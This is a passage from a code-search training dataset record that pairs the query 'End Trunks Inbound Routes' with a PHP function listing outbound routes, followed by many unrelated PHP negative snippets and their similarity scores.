"0.52841663",
"0.52748185",
"0.527389",
"0.52732563",
"0.52732563",
"0.5270258",
"0.52610344",
"0.5256763",
"0.5254856",
"0.5245371",
"0.52441907",
"0.5232461",
"0.52309394",
"0.52288693",
"0.522224",
"0.52202135",
"0.52166206",
"0.5215674",
"0.5210725",
"0.5202482",
"0.5201878",
"0.5197139",
"0.5197139",
"0.5197139",
"0.51859826",
"0.51812536",
"0.5171053",
"0.5171",
"0.5169501",
"0.51637954",
"0.516354",
"0.516354",
"0.516146",
"0.5161314",
"0.5161314",
"0.5161314",
"0.5161314",
"0.5161314",
"0.5160299",
"0.51595277",
"0.5153482",
"0.51530915",
"0.51527965"
] | 0.0 | -1 |
End Trunks Inbound Routes | public function getAllInboundRoutes($request, $response){
$sql = "SELECT * FROM incoming;";
$stmt = $this->c->db->query($sql);
$inboundRoutes = $stmt->fetchAll();
return $response->withJson(array(
'code' => 200,
'data' => $inboundRoutes
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function routeShutdown()\n {\n //...\n }",
"function afterroute() {\r\n\r\n }",
"function afterroute() {\n\t}",
"public function end_trace()\n {\n }",
"public function end();",
"public function end();",
"public function end();",
"public function end();",
"public function afterExecuteRoute() {\n if ($this->dispatcher->isFinished() && $this->dispatcher->wasForwarded())\n return;\n\n parent::afterExecuteRoute();\n }",
"public function end() {}",
"public function end() {}",
"public function end() {}",
"public function endAction() {\r\n $this->session->remove('auth');\r\n $this->flash->success('Obrigado!');\r\n\r\n return $this->dispatcher->forward([\r\n \"controller\" => \"peer\",\r\n \"action\" => \"index\"\r\n ]);\r\n }",
"public function end_turn()\n\t{\n\t\t//\t\tpropre a la classe\n\t}",
"public final function tearDown(){\n\n \\Disco\\classes\\Router::processRoutes();\n\n /**\n * did this requested URI not find a match? If so thats a 404.\n */\n if(!\\Disco\\classes\\Router::$routeMatch){\n $this['View']->serve(404);\n }//if\n else {\n $this['View']->serve();\n }//el\n\n }",
"function _endpage()\n\t\t{\n\t\t\t$this->state=1;\n\t\t}",
"function end();",
"abstract protected function doEnd();",
"public function endTunnel(){\n\t\t$this->buffer .= \"client\\n\";\n\t\t$this->buffer .= \"remote \".$this->server.\"\\n\\n\";\n\t\t$this->buffer .= \"cipher \".$this->cipher.\"\\n\";\n\t\t$this->buffer .= \"dev tap\".$this->tunnelcount.\"\\n\n\nproto tcp-client\nport \".$this->port.\"\n\t\t\nca /etc/openvpn\".$this->tunnelcount.\"/\".$this->caname.\"\ncert /etc/openvpn\".$this->tunnelcount.\"/\".$this->certname.\"\nkey /etc/openvpn\".$this->tunnelcount.\"/\".$this->keyname.\"\n\nuser nobody\ngroup nobody\nverb \".$this->verbosity.\"\\n\";\n\n\t\tif($this->compression){\n\t\t\t$this->buffer .= \"comp-lzo\\n\";\n\t\t}\n\n\t\t$this->writeConfig();\n\t\t$this->tunnelcount++;\n\t}",
"public function endPage() {}",
"public function end()\n {\n }",
"public function end(): void\n {\n }",
"function erpal_projects_helper_timetracking_finalise_action(&$timetrackings, $context) {\n //first validate\n $errors = _erpal_projects_helper_timetracking_finalise_action_validate($timetrackings);\n\n if ($errors && is_array($errors) && count($errors)) {\n\n foreach ($errors as $id=>$errors_arr) {\n $entity = $errors_arr['entity'];\n $error_texts = $errors_arr['errors'];\n foreach ($error_texts as $text) {\n drupal_set_message($text, 'error');\n }\n }\n\n //drupal_goto($_GET['q']);\n } else {\n //no errors so finalise the timetrackings\n foreach ($timetrackings as $timetracking) {\n\n //if timetracking entity has endtime set but no duration (it should be 0 or not set, just delete the entity\n if ($timetracking->time_end && !$timetracking->duration) {\n $timetracking->delete();\n continue;\n }\n\n\n $timetracking_node = _erpal_projects_helper_timetracking_finalise($timetracking);\n //if timetracking node was created, delete the temporary timetracking entity\n if ($timetracking_node->nid) {\n $timetracking->delete();\n } else {\n $timetracking_link = l($timetracking->defaultLabel(), 'timetracking/'.$timetracking->timetracking_id.'/edit');\n drupal_set_message(t('Timetracking !timetracking_link could not be finalised.', array('!timetracking_link' => $timetracking_link)), 'error');\n }\n }\n }\n \n}",
"public function endAction()\n { \n $this->session->remove('auth');\n $this->flash->success('Goodbye!');\n return $this->forward('index/index');\n }",
"public function finish() {\n\t\t\n\t\tcurl_close($this->curl);\n\t\t\n\t\tif($this->extraDestinationsGiven){\n\t\t\t$this->longDestination->finish();\n\t\t\t$this->shortDestination->finish();\n\t\t}\n\t}",
"protected function end_bulk_operation() {\n\t\t\n\t\t// This will also trigger a term count.\n\t\twp_defer_term_counting( false );\n\t}",
"public function appEnd()\n {\n }",
"public function appEnd()\n {\n }",
"public function endPath() {}",
"public function onRoundEnd(){\n foreach($this->players as $player){\n $player->teleport($player->getSpawn());\n $player->sendMessage(OneVsOne::getMessage(\"duel_timeover\"));\n $player->removeAllEffects();\n $player->getArmorInventory()->clearAll();\n $player->getInventory()->clearAll();\n }\n\n // Reset arena\n $this->reset();\n }",
"public function dispatchLoopShutdown()\n {\n if(!FrontController::getInstance()->getRequest()->isXmlHttpRequest()){\n //limpio la informacion anterior y guardo la nueva\n $this->limpiarHistorial()\n ->guardarVista();\n }\n }",
"protected function end_bulk_operation() {\n\t\t// This will also trigger a term count.\n\t\twp_defer_term_counting( false );\n\t}",
"public function completeFlow();",
"public function getIndexEnd();",
"protected function end_bulk_operation(){\n\t\twpcom_vip_end_bulk_operation();\n\t}",
"public static function traceExit() \n\t{\n\t\tacPhpCas::setReporting();\n\t\tphpCAS::traceExit();\t\t\n\t}",
"protected function finish() {}",
"public function action_endsession()\n\t{\n\t\t// This is so easy!\n\t\tunset($_SESSION['admin_time']);\n\n\t\t// Clean any admin tokens as well.\n\t\tcleanTokens(false, '-admin');\n\n\t\tif (isset($this->_req->query->redir, $this->_req->server->HTTP_REFERER))\n\t\t{\n\t\t\tredirectexit($_SERVER['HTTP_REFERER']);\n\t\t}\n\n\t\tredirectexit();\n\t}",
"function endMainBlock() {\n $bte =& $this->blockTab[0];\n $bte['tPosContentsEnd'] = strlen($this->template);\n $bte['tPosEnd'] = strlen($this->template);\n $bte['definitionIsOpen'] = false;\n $this->currentNestingLevel -= 1; }",
"function doStopTourAction() {\n//\t\t$request = DevblocksPlatform::getHttpRequest();\n\n\t\t$worker = CerberusApplication::getActiveWorker();\n\t\tDAO_WorkerPref::set($worker->id, 'assist_mode', 0);\n\t\t\n//\t\tDevblocksPlatform::redirect(new DevblocksHttpResponse($request->path, $request->query));\n\t}",
"public function finish()\n\t{\n\t\t\n\t}",
"public function endCurrentRound(){\n global $tpl, $lng, $ilCtrl, $ilTabs;\n\n $ilTabs->activateTab(\"showCurrentRound\");\n\n $this->object->endCurrentRound();\n $ilCtrl->redirect($this, \"showCurrentRound\");\n }",
"function endTest() {\n unset($this->CalendarRecursion);\n unset($this->CalendarInstance);\n unset($this->Activity);\n ClassRegistry::flush();\n }",
"public function complete() {\n\t\t$this->indexable_helper->finish_indexing();\n\t}",
"private function endLap() {\n $lapCount = count( $this->laps ) - 1;\n if ( count( $this->laps ) > 0 ) {\n $this->laps[$lapCount]['end'] = $this->getCurrentTime();\n $this->laps[$lapCount]['total'] = $this->laps[$lapCount]['end'] - $this->laps[$lapCount]['start'];\n }\n }",
"function end()\n\t{\n\t\t$this->over = true;\n\t}",
"public function finish() {\r\n\t}",
"public function visitEnd()\n {\n if (($this->cv != null)) {\n $this->cv->visitEnd();\n }\n }",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"function EndStartRun()\n {\n if ($this->transaction_in_progress) \n {\n $this->db->CompleteTrans();\n $this->transaction_in_progress =false;\n }\n }",
"function end_amy_request()\n\t{\n\t\tDb::close_connection();\n\t}",
"public function forceEndSitemap()\n {\n $this->endSitemap();\n $this->resetCurrentItem();\n $this->resetCurrentSitemap();\n }",
"function endPage(){\n global $_inContainer, $_pageName, $_loadChosen;\n require('inc/pageend.php');\n}",
"public function end_field_resolver_trace()\n {\n }",
"public function routeShutdown(Zend_Controller_Request_Abstract $request)\n {\n\n }",
"public function halt();",
"public function routerShutdown(\\Yaf\\Request_Abstract $request, \\Yaf\\Response_Abstract $response) {\n\t\tif ($request->controller == 'Ads') {\n\n \\Yaf\\Registry::set('__REQUEST', \\Process\\RequestModel::get($request->method, $_SERVER['REQUEST_URI']));\n\n }\n\t\t//PRETREATMENT REQUEST END <--\n\n\t}",
"public function ended();",
"public function onRouteFinish($e)\n {\n $matches = $e->getRouteMatch();\n $controller = $matches->getParam('controller');\n //var_dump($matches);\n }",
"public function endAction()\n {\n $test = $this->session->remove('auth');\n\t\t\n $this->flash->success('Goodbye!' .$test);\n return $this->forward('apps/index');\n }",
"public static function traceEnd($res = '') \n\t{\n\t\tacPhpCas::setReporting();\n\t\tphpCAS::traceEnd($res = '');\t\t\n\t}",
"public function tearDown()\n {\n unset($this->app);\n unset($_SERVER['RouteManagerTest@callback']);\n m::close();\n }",
"public function dispatchLoopShutdown()\n {\n \t//logfire('postdispatch','happened');\n \t//chech whether using site template\n \tif($this->_renderLayout > 0){\n \t\t//logfire('isbackend', $this->_renderLayout); \n \t\t//get frontcontroller, request and response objects\n \t\t$frontController = Zend_Controller_Front::getInstance(); \n \t$request = $frontController->getRequest(); \n \t\n \t// If it is error page, we do not want wrap it with extra header and footer.\n \tif (!strcasecmp($request->getControllerName(), 'Error'))\n \t{\n \t\treturn;\n \t}\n \t\n \t$response = $frontController->getResponse(); \n \t\n \t//get action view and stored it in actionTempate var\n \t$body = $response->getBody();\n \t//logfire('body',$body);\n \t$this->_view->actionTemplate = $body;\n \n \t//get template script\n \t$layoutScript = $this->getTemplateScript();\n \t//logfire('script ', $layoutScript);\n \t//$this->_view->actionTemplate = '/'.$request->getControllerName().'/'.$request->getActionName().'.phtml';\n \t$content = $this->_view->render($layoutScript);\n \t$response->setBody($content);\n \t}\n }",
"public static function end_block()\n\t{\n\t\tself::$nivel_cabecalho -= 1;\n\t}",
"public function completeRequest()\n {\n if (kodexy()->database->isConnected())\n {\n kodexy()->database->disconnect();\n }\n \n exit;\n }",
"function TheEnd() {\r\n\r\n\t\t$this->connection = new Connection();\r\n\t\t$conn = $this->connection->openConnection();\r\n\t\ttry {\r\n\t\t\tif($conn){\r\n\t\t\t\t$deleteUser = $conn->prepare(\"DELETE from panier where proceed=1 AND etat=1 AND recu=1\");\r\n\t\t\t\t$deleteUser->execute();\r\n\t\t\t}\r\n\t\t} catch (PDOExecption $e) {\r\n\t\t\tprint \"Error!: \" . $e->getMessage() . \"</br>\";\r\n\t\t}\r\n\r\n\t\t$this->connection->closeConnection();\r\n\t}",
"public function stepOutOfScope();",
"public function finish()\n {\n parent::finish();\n \n // only allow higher than first tier roles to make direct calls\n $this->set_variable( 'allow_connect',\n 1 < lib::create( 'business\\session' )->get_role()->tier );\n $this->set_variable( 'sip_enabled',\n lib::create( 'business\\voip_manager' )->get_sip_enabled() );\n\n foreach( $this->get_record_list() as $record )\n {\n $this->add_row( $record->id,\n array( 'active' => $record->active,\n 'rank' => $record->rank,\n 'type' => $record->type,\n 'number' => $record->number ) );\n }\n\n $this->finish_setting_rows();\n }",
"public function routeShutdown (Zend_Controller_Request_Abstract $request) {\n\t\tif ( $request->getControllerName() == 'topics' && $request->getActionName() == 'view' ) {\n\t\t\t$topics = $this->getTopicMap();\n\t\t\tif (isset($topics[$request->getParam('topic')])) {\n\t\t\t\t$response = $this->getResponse();\n\t\t\t\t$response->setRedirect($topics[$request->getParam('topic')]);\n\t\t\t\t$response->sendResponse();\n\t\t\t\texit;\n\t\t\t}\n\t\t} \n\t}",
"public function releaseResult(){\n $this->respond(\"Wrong Way, Go Back\",400);\n }",
"public static function trap_errors_end(){\n\t\t\trestore_error_handler(self::$trapprevhndlr);\n\t\t\treturn self::handle_trap();\n\t\t}",
"public function endCommunication()\n {\n $this->restAPI->keepAuth = false;\n $this->restAPI->logout();\n }",
"public function finish()\n {\n $p = $this->page;\n if ($p->is_ajax_request) {\n exit_json($this->response);\n }\n\n $to = ($_GET['return_uri']) ?: $_SERVER['HTTP_REFERER'];\n $get = ($this->response['status'] == 'OK')\n ? array('status' => 'OK')\n : $this->response;\n\n $get = '?return='.rawurlencode(serialize($get));\n\n $p->redirect($to.$get, 302);\n }",
"function endMap($race) {\n\n\t\t// check for RestartChallenge flag\n\t\tif ($race[4]) {\n\t\t\t$this->restarting = 1;\n\t\t\t// check whether changing game mode or any player has a time/score,\n\t\t\t// then there will be ChatTime, otherwise it's an instant restart\n\t\t\tif ($this->changingmode)\n\t\t\t\t$this->restarting = 2;\n\t\t\telse\n\t\t\t\tforeach ($race[0] as $pl) {\n\t\t\t\t\tif ($pl['BestTime'] > 0 || $pl['Score'] > 0) {\n\t\t\t\t\t\t$this->restarting = 2;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t// log type of restart and signal an instant one\n\t\t\tif ($this->restarting == 2) {\n\t\t\t\t$this->console_text('Restart Map (with ChatTime)');\n\t\t\t} else { // == 1\n\t\t\t\t$this->console_text('Restart Map (instant)');\n\t\t\t\t// throw main 'restart map' event\n\t\t\t\t$this->releaseEvent('onRestartMap', $race);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\t// log if not a restart\n\t\t$this->server->gamestate = Server::SCORE;\n\t\tif ($this->restarting == 0)\n\t\t\t$this->console_text('End Map');\n\n\t\t// show top-8 & all new records after map\n\t\tif (($this->settings['show_recs_after'] & 2) == 2 && function_exists('show_maprecs')) {\n\t\t\tshow_maprecs($this, false, 3, $this->settings['show_recs_after']); // from chat.records2.php\n\t\t} elseif (($this->settings['show_recs_after'] & 1) == 1) {\n\t\t\t// fall back on old top-5\n\t\t\t$records = '';\n\n\t\t\tif ($this->server->records->count() == 0) {\n\t\t\t\t// display a no-new-record message\n\t\t\t\t$message = formatText($this->getChatMessage('RANKING_NONE'),\n\t\t\t\t stripColors($this->server->map->name),\n\t\t\t\t 'after');\n\t\t\t} else {\n\t\t\t\t// display new records set up this round\n\t\t\t\t$message = formatText($this->getChatMessage('RANKING'),\n\t\t\t\t stripColors($this->server->map->name),\n\t\t\t\t 'after');\n\n\t\t\t\t// go through each record\n\t\t\t\tfor ($i = 0; $i < 5; $i++) {\n\t\t\t\t\t$cur_record = $this->server->records->getRecord($i);\n\n\t\t\t\t\t// if the record is set then display it\n\t\t\t\t\tif ($cur_record !== false && $cur_record->score > 0) {\n\t\t\t\t\t\t// replace parameters\n\t\t\t\t\t\t$record_msg = formatText($this->getChatMessage('RANKING_RECORD_NEW'),\n\t\t\t\t\t\t $i+1,\n\t\t\t\t\t\t stripColors($cur_record->player->nickname),\n\t\t\t\t\t\t ($this->server->gameinfo->mode == Gameinfo::STNT ?\n\t\t\t\t\t\t $cur_record->score : formatTime($cur_record->score)));\n\t\t\t\t\t\t$records .= $record_msg;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// append the records if any\n\t\t\tif ($records != '') {\n\t\t\t\t$records = substr($records, 0, strlen($records)-2); // strip trailing \", \"\n\t\t\t\t$message .= LF . $records;\n\t\t\t}\n\n\t\t\t// show ranking message to all players\n\t\t\tif (($this->settings['show_recs_after'] & 4) == 4 && function_exists('send_window_message'))\n\t\t\t\tsend_window_message($this, $message, true);\n\t\t\telse\n\t\t\t\t$this->client->query('ChatSendServerMessage', $this->formatColors($message));\n\t\t}\n\n\t\t// get rankings and call endMapRanking as soon as we have them\n\t\t// $this->addCall('GetCurrentRanking', array(2, 0), false, 'endMapRanking');\n\t\tif (!$this->server->isrelay)\n\t\t\t$this->endMapRanking($race[0]);\n\n\t\t// throw prefix 'end map' event (chat-based votes)\n\t\t$this->releaseEvent('onEndMap1', $race);\n\t\t// throw main 'end map' event\n\t\t$this->releaseEvent('onEndMap', $race);\n\t}",
"public function end() {\n\t\t$this->get = null;\n\t\t$this->post = null;\n\t\t$this->server = null;\n\t\t$this->header = null;\n\t\t$this->cookie = null;\n\t\t$this->files = null;\n\t\t$this->sw_request = null;\n\t\tif ($this->session !== null) {\n\t\t\t$handler = Container::getInstance()->get(Dispatcher::class)->getSessionHandler();\n\t\t\t$handler->write($this->session->id(), $this->session->encode());\n\t\t\t$this->session = null;\n\t\t}\n\t}",
"public function finish(): void\n {\n }",
"public function shutdown(){\r\n\r\n\t}",
"function endRace($race) {\n\t\t$this->console_text('End Race');\n\t\t\n\n\t\t// get rankings and call endRaceRanking as soon as we have them ...\n\t\t// release new event ...\n\t\t$this->releaseEvent('onEndRace', $race);\t\t// $race is actually 2 sets of data, rankings & challenge info\n\t\t$this->endRaceRanking($race[0]);\n\t}",
"private function _logout(){\n\t\tredirect('/', 'refresh');\n\t\treturn;\n\t}",
"public function endChildren()\n {\n parent::endChildren();\n\n $this->call($this->ascendCallback);\n }",
"private function _finish(array $route) {\n $this->called = $route;\n\n $class = '\\\\controllers\\\\' . $route['controller'];\n $method = $route['method'];\n\n /** @var \\controllers\\Controller $target */\n $target = new $class();\n $target->$method($route['parameters']);\n $target->_finish();\n }",
"public function end() {\n $this->memcache->delete(PREFIX_SESSION.$this->sessionID);\n $targets = $this->getTargets();\n foreach ($targets as $share) {\n if ($share->exists()) {\n switch ($share->getType()) {\n case SHARE_TYPE_ALONE:\n $share->end();\n break;\n case SHARE_TYPE_GROUP:\n $share->clean();\n break;\n }\n }\n }\n }",
"protected function endBoundary($boundary)\n {\n }",
"private function prep_stop_node_query()\n {\n require_library('connectors/CypherQueryAPI');\n $resource_id = 'eol';\n $func = new CypherQueryAPI($resource_id);\n $input = array();\n $input[\"params\"] = array();\n $input[\"type\"] = \"traits_stop_at\";\n $input[\"per_page\"] = 500; // 500 worked ok\n $this->stop_node_query = $func->get_traits_stop_at($input);\n echo \"\\nstop_node_query: \".count($this->stop_node_query).\"\\n\"; //exit;\n unset($func);\n // exit(\"\\n-end-\\n\");\n }",
"public function terminate() {\n\n unset($this->controller);\n unset($this);\n exit;\n }",
"function beforeroute() {\r\n \r\n }",
"public function checkToAddTrailingStop() {\n if (!$this->backtesting) {\n ///Handle Real Live Stuff\n }\n else {\n if ($this->openPosition['gl'] >= $this->optionalTrailingStopAmount) {\n $this->addTrailingStopToPosition($this->optionalTrailingStopAmount);\n }\n }\n }",
"public function CleanUpAction() {\n if ($this->isPost()) {\n $cnt = 0;\n foreach (esf_Auctions::$Auctions as $item => $auction) {\n if ($auction['ended']) {\n esf_Auctions::Delete($item, FALSE);\n $cnt = $cnt+1;\n }\n }\n Messages::Success(\n ( $cnt\n ? Translation::get('Auction.DeletedEnded', $cnt)\n : Translation::get('Auction.NoDeletedEnded') )\n );\n // redirect in case of inline editing\n $this->Request('ajax') && $this->redirect('auction');\n }\n $this->forward();\n }",
"protected function after()\n {\n $object = new self($this->routeParams);\n (new Middleware())->middlewares($this->callAfterMiddlewares())\n ->middleware($object, function ($object) {\n return $object;\n });\n }",
"public function exitRemainingTags()\n {\n while (count($this->stack) > 0) {\n $this->handler->endTag(\n new ParsedTag(array_pop($this->stack))\n );\n }\n }",
"public function finishPortal(){\n\t\t$this->parseBuffer();\n\t\t$this->writeConfig();\n\t\t$http = LighttpdConfig::getInstance();\n\t\t$http = \n\t\t$this->PORT_NUMBER++;\n\t}",
"function endCase() {\n\t}",
"function _route()\n\t{\n\n\t\t// if this step is locked go to error page and return\n\t\tif(self::lock('pass/recovery'))\n\t\t{\n\t\t\tself::error_page('pass/recovery');\n\t\t\treturn;\n\t\t}\n\n\t\t// parent::_route();\n\t\t$this->get('pass')->ALL('pass/recovery');\n\t\t$this->post('pass')->ALL('pass/recovery');\n\t}",
"public function shutdown() {\n\t\t\t//\n\t\t}"
] | [
"0.6433185",
"0.62253904",
"0.6204796",
"0.6199525",
"0.58452404",
"0.58452404",
"0.58452404",
"0.58452404",
"0.57573575",
"0.5745557",
"0.5745557",
"0.5745557",
"0.567051",
"0.5636503",
"0.5601119",
"0.55565846",
"0.55379707",
"0.5525098",
"0.55250067",
"0.5502011",
"0.5482372",
"0.5441746",
"0.5437277",
"0.5387009",
"0.53838825",
"0.5348381",
"0.5342302",
"0.5342302",
"0.53346395",
"0.5325452",
"0.53225744",
"0.53082985",
"0.53021103",
"0.53001595",
"0.5298982",
"0.52776366",
"0.52671325",
"0.52629167",
"0.5251181",
"0.5248277",
"0.5236762",
"0.5235905",
"0.5225557",
"0.52116376",
"0.5206084",
"0.52023846",
"0.51774675",
"0.5167888",
"0.51624244",
"0.5161951",
"0.51615936",
"0.51615936",
"0.51615936",
"0.51615936",
"0.51615936",
"0.51615644",
"0.5161205",
"0.51562124",
"0.51408994",
"0.5119321",
"0.51086545",
"0.50959986",
"0.50930536",
"0.5088782",
"0.5085156",
"0.50756603",
"0.5061979",
"0.50438714",
"0.5040505",
"0.5031637",
"0.5028943",
"0.50265557",
"0.5022918",
"0.50013",
"0.49963817",
"0.4995762",
"0.49753305",
"0.49713758",
"0.49708018",
"0.49655166",
"0.4944005",
"0.4928709",
"0.49243945",
"0.49184653",
"0.49084395",
"0.48957375",
"0.48943952",
"0.48886555",
"0.4882418",
"0.48791468",
"0.48760474",
"0.48733282",
"0.48665556",
"0.48627573",
"0.4862556",
"0.4858913",
"0.48537067",
"0.48508862",
"0.48446846",
"0.48372358",
"0.48347494"
] | 0.0 | -1 |
End Inbound Routes Outbound Routes | public function getAllOutboundRoutes($request, $response){
$sql = "SELECT * FROM outbound_routes;";
$stmt = $this->c->db->query($sql);
$outboundRoutes = $stmt->fetchAll();
return $response->withJson(array(
'code' => 200,
'data' => $outboundRoutes
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function routeShutdown()\n {\n //...\n }",
"function afterroute() {\r\n\r\n }",
"function afterroute() {\n\t}",
"public function endAction() {\r\n $this->session->remove('auth');\r\n $this->flash->success('Obrigado!');\r\n\r\n return $this->dispatcher->forward([\r\n \"controller\" => \"peer\",\r\n \"action\" => \"index\"\r\n ]);\r\n }",
"public function end() {}",
"public function end() {}",
"public function end() {}",
"public function end();",
"public function end();",
"public function end();",
"public function end();",
"public function afterExecuteRoute() {\n if ($this->dispatcher->isFinished() && $this->dispatcher->wasForwarded())\n return;\n\n parent::afterExecuteRoute();\n }",
"public function appEnd()\n {\n }",
"public function appEnd()\n {\n }",
"public function endPath() {}",
"abstract protected function doEnd();",
"private function uri_reroute()\n {\n $match = false;\n\n $uri = parse_url($_SERVER['REQUEST_URI']);\n if (isset($uri['path']) && $uri['path'] !== \"/\") {\n $_ = preg_split(\"|/|\", $uri['path'], -1, PREG_SPLIT_NO_EMPTY);\n\n $i = 0;\n $route = null;\n $router = null;\n // while ($match === false) {\n // $path = $_[$i];\n\n // if (isset($this->configuration['ROUTES']['/' . $path])) {\n // $match = true;\n // $route = \"/$path\";\n // $router = $this->configuration['ROUTES']['/' . $path];\n // $this->route_map = $route;\n // }\n\n // if (isset($this->configuration['ROUTES'][$path])) {\n // $match = true;\n // $route = \"$path\";\n // $router = $this->configuration['ROUTES'][$path];\n // $this->route_map = $route;\n // }\n\n // ++$i;\n // }\n\n // unset($_);\n // unset($i);\n // unset($uri);\n // unset($path);\n\n if (isset($_) && is_array($_) && count($_) > 0) {\n $path = \"\";\n foreach ($_ as $k => $v) {\n $path .= \"/\" . $v;\n\n if (isset($this->configuration['ROUTES'][$path])) {\n $match = true;\n $route = \"$path\";\n $router = $this->configuration['ROUTES'][$path];\n $this->route_map = $route;\n\n // if(is_array($router['params'])){\n\n // }elseif($router['params'] == \"*\"){\n // break;\n // }\n\n break;\n }\n }\n }\n\n if (isset($router['controller'])) {\n $this->controller = $router['controller'];\n } else {\n $this->controller = \"main\";\n }\n\n if (isset($router['method'])) {\n $this->method = $router['method'];\n } else {\n $this->method = \"index\";\n }\n\n if (isset($router['action']) && isset($this->http)) {\n if (trim(strtolower($router['action'])) != strtolower($this->http->action)) {\n $this->http->http_error(403);\n }\n }\n \n if (isset($router['type']) && isset($router['type'])){\n if (trim(strtolower($router['type'])) == \"json\" && $this->http->type != \"json\"){\n $this->http->http_error(406, \"Form \" . $this->http->action . \" data is not json\");\n }\n }\n\n if (isset($router['params'])) {\n if (is_array($router['params'])) {\n $uri = preg_split(\"|/|\", str_replace($route, \"\", $_SERVER['REQUEST_URI']), -1, PREG_SPLIT_NO_EMPTY);\n\n if (is_array($router['params'])) {\n $_ = $router['params'];\n unset($router['params']);\n\n $router['params'][] = $_;\n unset($_);\n }\n\n $nums_params = count($router['params'][0]);\n\n if ($nums_params > 0) {\n foreach ($router['params'][0] as $k => $v) {\n $this->params[$v] = trim(urldecode($uri[$k]));\n }\n }\n\n $i = 0;\n $x = 0;\n while ($nums_params < $i) {\n if (isset($uri[$x]) && is_value($uri[$x])) {\n $this->params[$router['params'][$i]] = trim(urldecode($uri[$x]));\n ++$i;\n }\n ++$x;\n }\n\n } elseif ($router['params'] != \"*\") {\n return $this->http->http_error(404);\n }\n } else {\n $uri = preg_split(\"|/|\", str_replace($route, \"\", $_SERVER['REQUEST_URI']), -1, PREG_SPLIT_NO_EMPTY);\n\n if (count($uri) > 0) {\n return $this->http->http_error(404);\n }\n }\n\n unset($uri);\n unset($i);\n unset($x);\n unset($route);\n unset($router);\n }\n\n return $match;\n }",
"public function end()\n {\n }",
"public function endCommunication()\n {\n $this->restAPI->keepAuth = false;\n $this->restAPI->logout();\n }",
"public function handleRouting(){\n\t\t$request = ControllerRequest::getInstance();\n\t\t$soapRawRequest = $request->getRawBody();\n\t\t$domDocument = new DOMDocument();\n\t\t$xmlValidation = @$domDocument->loadXML($soapRawRequest);\n\t\tif($xmlValidation==false){\n\t\t\t$soapException = new SoapException('SOAP Envelope mal formado. '.$php_errormsg);\n\t\t\t$soapException->setFaultCode('Sender');\n\t\t\tthrow $soapException;\n\t\t}\n\n\t\tif(isset($_SERVER['HTTP_SOAPACTION'])){\n\t\t\t$soapAction = str_replace(\"\\\"\", \"\", $_SERVER['HTTP_SOAPACTION']);\n\t\t} else {\n\t\t\tif(isset($_SERVER['CONTENT_TYPE'])){\n\t\t\t\tif(preg_match('/action=\"(.+)\"/', $_SERVER['CONTENT_TYPE'], $matches)){\n\t\t\t\t\t$soapAction = $matches[1];\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tthrow new SoapException('No se indicó la acción SOAP a ejecutar');\n\t\t\t}\n\t\t}\n\n\t\t$soapAction = explode('#', $soapAction);\n\t\tforeach($domDocument->getElementsByTagNameNS($soapAction[0], $soapAction[1]) as $domElement){\n\t\t\t$parameters = array();\n\t\t\tforeach($domElement->childNodes as $actionParam){\n\t\t\t\tif($actionParam->nodeType==1){\n\t\t\t\t\t$paramType = $actionParam->getAttributeNS($this->_xmlSchemaNamespace, 'type');\n\t\t\t\t\tif($paramType=='ns2:Map'){\n\t\t\t\t\t\t$parameters[] = $this->_getXSIMap($actionParam);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif($paramType=='SOAP-ENC:Array'||$paramType=='enc:Array'){\n\t\t\t\t\t\t\t$parameters[] = $this->_decodeSoapArray($actionParam);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$parameters[] = $this->_decodeXSDType($paramType, $actionParam->nodeValue);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tRouter::setAction($soapAction[1]);\n\t\t\tRouter::setParameters($parameters);\n\t\t}\n\t}",
"public function routerShutdown(\\Yaf\\Request_Abstract $request, \\Yaf\\Response_Abstract $response) {\n\t\tif ($request->controller == 'Ads') {\n\n \\Yaf\\Registry::set('__REQUEST', \\Process\\RequestModel::get($request->method, $_SERVER['REQUEST_URI']));\n\n }\n\t\t//PRETREATMENT REQUEST END <--\n\n\t}",
"public function end(): void\n {\n }",
"function end_amy_request()\n\t{\n\t\tDb::close_connection();\n\t}",
"function beforeroute() {\r\n \r\n }",
"public static function ignoreRoutes()\n {\n static::$registersRoutes = false;\n }",
"public function routeShutdown(Zend_Controller_Request_Abstract $request)\n {\n\n }",
"public function getFullRoute();",
"public function completeFlow();",
"function end();",
"function _endpage()\n\t\t{\n\t\t\t$this->state=1;\n\t\t}",
"public function end_turn()\n\t{\n\t\t//\t\tpropre a la classe\n\t}",
"public static function routes(): void\n {\n //\n }",
"public function GetRouteGetRequestsOnly ();",
"public function endPage() {}",
"public function resetRoutes() {\n \t$this->routes = [];\n }",
"public function _route()\n\t{\n\t\tif(self::lock('ban'))\n\t\t{\n\t\t\tself::error_page('ban');\n\t\t\treturn;\n\t\t}\n\t}",
"public function route(): RouteContract;",
"public function emitEnd(): void;",
"protected function end_bulk_operation(){\n\t\twpcom_vip_end_bulk_operation();\n\t}",
"private static function createRootRoute()\n {\n self::$Router->map('GET|POST', '/', function(){\n Root::executeResponse();\n exit();\n });\n }",
"public function getRoutes() {}",
"private function route(): void\n {\n $url = $this->getUrlAsArray();\n $size = \\sizeof($url);\n $section = $this->section;\n\n for ($i = 0; $i < $size; $i++) {\n if ($i < ($size - 1)) {\n $section = $section->searchInSections($url[$i]);\n if ($section instanceof Section) {\n }\n } else {\n $route = $section->searchInRoutes($url[$i]);\n // TODO: Show view and use models\n if ($route instanceof Route) {\n\n }\n }\n }\n }",
"protected function sendEndRequest() : void\n {\n $message = \"DONE \" . $this->id;\n $this->sendRequest($message);\n }",
"public function endAction()\n { \n $this->session->remove('auth');\n $this->flash->success('Goodbye!');\n return $this->forward('index/index');\n }",
"public function getSystemRoutes();",
"public static function route();",
"public function ended();",
"public function clear()\n {\n $this->routes = array();\n }",
"abstract public function getRoute();",
"abstract protected function onEnd(): void;",
